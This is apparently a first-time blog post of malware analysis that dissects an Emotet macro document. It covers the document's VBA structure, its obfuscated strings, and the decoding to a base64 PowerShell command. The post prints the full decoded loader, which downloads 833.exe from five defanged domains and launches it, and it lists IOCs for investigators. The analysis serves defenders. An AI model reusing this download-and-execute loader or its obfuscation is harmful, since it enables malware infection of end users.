So, Emotet’s Back Huh…

emotet-is-back-again

So, Emotet’s back after a hiatus of around 5 months and as per claims around internet, delivered around 80k spam emails in 24hr on its return. So, let’s see what the Maldoc being delivered this time looks like. We downloaded this particular sample from hxxp://www[.]ahbro[.]com/wp-content/browse/omxl046951300lyxdvye9ksa2j. Let’s begin then.

First of all let’s see how the latest document has been designed to lure the end user to “enable content”.

So, this is what it looks like, they have moved away from the previous blue background document. Another neat social engineering trick. Since, we have seen what the document looks like let’s proceed further with our analysis. As with any maldoc we first ran oledump.py to see the macro streams present in the doc.

Oledump output

We have three macro streams in our document, numbered as 14, 15 and 16. Next step would be to look into those macros and try to figure out what the doc will do. Well, Emotet has been around for so lonngggg that we already kind of know what the maldoc will do, but let’s see how it will be doing that this time around. We can continue to use oledump.py to see the individual macro or we can also use olevba.py. But I found Microsoft developer tools a better option for this doc. So, that’s what we will be using here. If you are like me and don’t know about the developer tools (yeah I didn’t know about it prior to writing this post/analysing this doc) then open Word –> Files –> Options –> Customize Ribbon and check the box against Developer in the right window and then OK. It should look like this.

Adding Developer Tools to the Ribbon

Moving ahead, we open our document and check the Developer tab at the ribbon to see the contents of the doc. This is what we got.

VBA Contents of the Document

So, just like previous Emotet documents, Emotet continues to use Forms to store encoded strings in different parameters that will be concatenated later on. We will see that as well. First, lets just glance through these separate contents. Starting with “Microsoft Word Objects“.

Inside zeadyiavnuaz (Microsoft Word Objects)

So, we have a Document_open() function here, which, pretty clear from the name, will do something when the document will be opened. And that something should be in “voefbiayjex“. We will find this later on, now let’s move to “Forms” which has something called “woicroib“. Based on how Emotet has used “Forms” in the past this time too it will, most probably, have distributed, encoded strings that will be used in the main function. We will check that too. Let’s see the “Forms” now.

Forms section of the document with woicroib and multiple other attributes.

We can see here, that Forms contains woicroib with multiple other attributes like Frame, Image, Combobox, etc. having random names. So, all these attributes must be hiding/storing data needed by Emotet to download second stage payload on the machine. Let’s move to the “Modules” part and see what it has stored for us.

Modules, queuthdoibfuwriot

So, looks like “Modules” contain the main function here. If we remember from the “Microsoft Word Objects” component of the document, the “Document_open()” was calling “voefbiayjex“. Here, we can see that being defined. But that’s not the only function, there are other functions defined as well. Those can be seen in the right corner dropdown.

So far we saw the structure of the document, the components, functions being used and also, we know where to look for if any of these functions/ variables are being called out in the macro. Let’s proceed further and take a more detailed look at the macro.

(Part 1) This is the function “voefbiayjex” called by Document_open()
(Part 2) Other function definitions used in the macro

The above two snippets are from “Modules” (queuthdoibfuwriot) component we saw earlier. I have divided that into two parts: Part 1 and Part 2. Let’s take a closer look now. Since, we have seen many of the random strings being used in the code in our document structure it will be less difficult for us to make sense out of them. Glancing over the above two parts we can see that woicroib has been used quite a few times and we know what woicroib is. Looking at the sub-functions first, since they are being called in the main function. “woicroib” is being used at line 65 in part 2 and the value is being assigned to “io“. We need to go to “woicroib.raopfeukchaup.Pages(1).ControlTipText” in our doc structure to get the value for “io“.

ControlTipText Value from our Doc structure

So, following the mentioned path and ending up at ControlTipText, looks like it’s empty but don’t worry irrespective of what it looks like lets copy the value for that parameter and paste it somewhere.

Actual value stored in ControlTipText

So, our ControlTipText wasn’t really empty afterall and had this string stored in it. A quick look through the string and we can see a pattern being repeated in the whole string and that is “3264gyjvgjh^&Fv2b3dsdfffw23“. Next we can try to remove this repeating string to make it, may be a bit more readable. Also, if we look at part 2, function “cheixbeachjeuhkiam” line 48, there is a reference to the repeating string we found. So, we can be sure that the string has something to do with the value stored in “io” variable now. Used, cyberchef and applied split function on the string from “io“.

Split function

And look what we got as the output.

An encoded powershell as output

powersheLL -e JABblahblahblah… We all know what our next step will be, “JAB” gives away that the rest of the string is base64 encoded. JAB decodes to “$.” and there are many other common strings that malware analysts come across which kind of helps to determine if the string is Base64 encoded. Those can be found here, “https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639” and Neo23x0 is Florian Roth, in case you didn’t know.

credit: https://gist.github.com/Neo23x0

So, now our next step would be to decode the remaining string and see the results. Again, used cyberchef (https://gchq.github.io/CyberChef) to get this done. And the output we got is…

Base64 Decoded String

$hainyouhtien=’quaoqusioqufumjuj’;[Net.ServicePointManager]::”SEcuRItYpROToCol” = ‘tls12, tls11, tls’;$moimxeij = ‘833’;$gaiquvuquciel=’mierquixfioyweeg’;$jiktheercienrooch=$env:userprofile+’\’+$moimxeij+’.exe’;$lotnesmoedpieh=’miocchaszorcheic’;$fuuxyajyad=&(‘new-‘+’ob’+’jec’+’t’) NET.WEbClIEnt;$neowcauz=’http://www.suprshoes[.]com/wp-includes/qf1/http://theprizeguys[.]uk/test/1iu9sk/https://xavierlin[.]com/wp-includes/ojyqm/http://wiki-lspd[.]xyz/cgi-bin/bi3ygxO/https://sigmanled[.]com/9ij4nd/q5n3yt/‘.”sPLIT"([char]42);$daufvioschaoch='cuaxkixdoingaix';foreach($loelvoelzic in $neowcauz){try{$fuuxyajyad."DowNloAdFILe"($loelvoelzic, $jiktheercienrooch);$xoijxuuj='vasdinboug';If ((&('Get-It'+'e'+'m') $jiktheercienrooch)."LENGth" -ge 24834) {([wmiclass]'win32_Process')."cREATE”($jiktheercienrooch);$lotnierfiel=’yoiswof’;break;$wumzaijvail=’jeagyaumhaen’}}catch{}}$juzgouj=’quoepgam’

From the above decoded string and based on our prior knowledge on how Emotet works we can assume that if this document runs on an end point with macro enabled, it will try to download a file from one of the five domains (the domains were de-fanged by me and the original code didn’t had square brackets ) mentioned above with name 833.exe to current user’s profile path.

IOCs from this:
ahbro[.]com
suprshoes[.]com
theprizeguys[.]uk
xavierlin[.]com
wiki-lspd[.]xyz
sigmanled[.]com
833.exe
powersheLL.exe

You must think that how can powersheLL.exe, 833.exe, be an IOC. True, we can’t really place these under general IOCs but hear me out, if you are doing an investigation related to this very document or a similar one in your org then IOCs like these will help as well. Consider yourself an analyst who found a hit to the malicious url sent in an email to an end user. You start your investigation, now based on the IOCs mentioned above your analysis and remediation can be different. On the user’s machine that you are now investigating you found that:

  • End user clicked on url (ahbro.com), downloaded the doc (DOC_CXG3DZZQX) and that’s it no other IOCs were found. This means that though the user clicked and downloaded the file, she/he was aware enough not to “enable content” as have been told multiple times by their security team and hence, your remedial steps will be different.
  • Now, if on the user’s machine you found a powershell instance being run as “powersheLL” then a hit to any of the other five domains and then an exe named 833.exe. That’s it you might end up with an incident. So, that’s how all those IOCs can help frame your investigation and end result. You might end up mentioning all these IOCs in your final report for the incident.

Also, when we ran this doc in a sandbox, we missed some of the IOCs. As, it was a dynamic analysis, the malicious exe was found on the very first domain mentioned in the powershell code and so, the sandbox didn’t return the remaining four domains as IOCs. This can happen with sandboxes.

Now, as mentioned in the very beginning that 80k emails were sent in the 24hrs, sitting and analyzing each one of them for IOCs won’t be possible. So, if your org is one of those which are dealing with Emotet, check out this site, https://paste.cryptolaemus.com. Twitter has an account too, @cryptolaemus1. They are doing a tremendous job when it comes to emotet and have been tracking it for years, now. You can get your daily IOCs from that site.

That’s it… You have reached the end and I hope this post helped you learn a thing or two… 🙂

PS: This is my very first blog post and I tried to be as much detailed as I can while being precise. There’s always room for improvement though so, welcome your suggestions, feedback. And a token of thanks if you were able to reach to the end.